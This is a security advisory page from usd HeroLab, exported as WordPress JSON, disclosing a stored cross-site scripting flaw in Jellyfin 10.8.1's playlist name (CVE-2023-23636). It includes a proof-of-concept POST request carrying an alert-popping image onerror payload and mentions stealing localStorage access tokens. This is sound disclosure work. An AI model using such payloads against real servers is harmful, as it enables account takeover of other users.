{"id":19346,"date":"2023-01-01T16:00:00","date_gmt":"2023-01-01T15:00:00","guid":{"rendered":"https:\/\/herolab.usd.de\/?page_id=19346"},"modified":"2023-11-29T13:18:34","modified_gmt":"2023-11-29T12:18:34","slug":"usd-2022-0030","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2022-0030\/","title":{"rendered":"usd-2022-0030"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.16\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.23.1\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" hover_enabled=\"0\" global_colors_info=\"{}\" sticky_enabled=\"0\"]<\/p>\n<h1>usd-2022-0030 | Jellyfin 10.8.1 - Cross-Site Scripting<\/h1>\n<p><strong>Advisory ID:<\/strong> usd-2022-0030<br \/>\n<strong>Product:<\/strong> Jellyfin<br \/>\n<strong>Affected Version:<\/strong> 10.8.1<br \/>\n<strong>Vulnerability Type:<\/strong> <span>Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (<\/span>CWE-79)<br \/>\n<strong>Security Risk:<\/strong> CRITICAL<br \/>\n<strong>Vendor URL:<\/strong> <a href=\"https:\/\/jellyfin.org\" target=\"_blank\" rel=\"noopener\">https:\/\/jellyfin.org<\/a><br \/>\n<strong>Vendor acknowledged vulnerability:<\/strong> Yes<br \/>\n<strong>Vendor Status:<\/strong> Fixed<br \/>\n<strong>CVE Number:<\/strong> CVE-2023-23636<br \/>\n<strong>CVE Link:<\/strong> <a href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2023-23636\" target=\"_blank\" rel=\"noopener\">https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2023-23636<\/a><\/p>\n<h2>Description<\/h2>\n<p>The playlist name in Jellyfin 10.8.1 is vulnerable to a stored XSS which allows a low privileged user to steal access tokens from high privileged users.<br \/>\nThe injected code is triggered everytime a user visits the playlist page. Since access tokens are stored in the <strong>localStorage<\/strong> an attacker is able to take over accounts by reading their values.<\/p>\n<h2>Proof of Concept<\/h2>\n<p>The following screenshot shows the executed JavaScript payload in the victim's browser.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2022\/08\/jelly30.png\" width=\"738\" height=\"406\" alt=\"\" class=\"wp-image-18742 alignnone size-full\" srcset=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2022\/08\/jelly30.png 738w, https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2022\/08\/jelly30-480x264.png 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) 738px, 100vw\" \/><\/p>\n<p>The following request creates a payload with injected <em>name<\/em>.<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"nf\" style=\"background: #263238;color: #82aaff\">POST<\/span> <span class=\"nn\" style=\"background: #263238;color: #ffcb6b\">\/Playlists?Name=%22%3E%3Cimg%20src%3D%2FX%20onerror%3Dalert(document.domain)%3E&amp;Ids=0358e400bf19a370e7f2e4e69f2af64d&amp;userId=e9239683c3384717810a900f1c2c7eb5<\/span> <span class=\"kr\" style=\"background: #263238;color: #bb80b3\">HTTP<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">\/<\/span><span class=\"m\" style=\"background: #263238;color: #f78c6c\">1.1<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Host<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">localhost:8096<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Content-Length<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">0<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">sec-ch-ua<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">\"Chromium\";v=\"97\", \" Not;A Brand\";v=\"99\"<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">accept<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">application\/json<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Content-Type<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">application\/json<\/span>\n<span class=\"err\" style=\"background: #263238;color: #ff5370\">[...]<\/span><\/pre>\n<\/div>\n<h2>Fix<\/h2>\n<p>It is recommended to treat all input on the website as potentially dangerous.<br \/>\nHence, all output that is dynamically generated based on user-controlled data should be encoded according to its context.<br \/>\nThe majority of programming languages support standard procedures for encoding meta characters.<\/p>\n<h2>References<\/h2>\n<ul>\n<li><a>https:\/\/owasp.org\/www-community\/attacks\/xss\/<\/a><\/li>\n<li><a href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2023-23636\" target=\"_blank\" rel=\"noopener\">https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2023-23636<\/a><\/li>\n<\/ul>\n<h2>Timeline<\/h2>\n<ul>\n<li><strong>2022-07-18:<\/strong> First contact request via security@jellyfin.org<\/li>\n<li><strong>2022-08-02:<\/strong> Vulnerability details submitted<\/li>\n<li><strong>2022-08-16:<\/strong> Fixed by Vendor<\/li>\n<li><strong>2023-01-16:<\/strong> Requested CVE assigned<\/li>\n<li><strong>2023-01-19<\/strong>: The advisory is published<\/li>\n<\/ul>\n<h2>Credits<\/h2>\n<p>This security vulnerability was found by Christian P\u00f6schl of usd AG.[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2022-0030 | Jellyfin 10.8.1 - Cross-Site Scripting Advisory ID: usd-2022-0030 Product: Jellyfin Affected Version: 10.8.1 Vulnerability Type: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (CWE-79) Security Risk: CRITICAL Vendor URL: https:\/\/jellyfin.org Vendor acknowledged vulnerability: Yes Vendor Status: Fixed CVE Number: CVE-2023-23636 CVE Link: https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2023-23636 Description The playlist name in Jellyfin 10.8.1 is [&hellip;]<\/p>\n","protected":false},"author":109,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-19346","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/19346","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/109"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=19346"}],"version-history":[{"count":1,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/19346\/revisions"}],"predecessor-version":[{"id":21525,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/19346\/revisions\/21525"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=19346"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}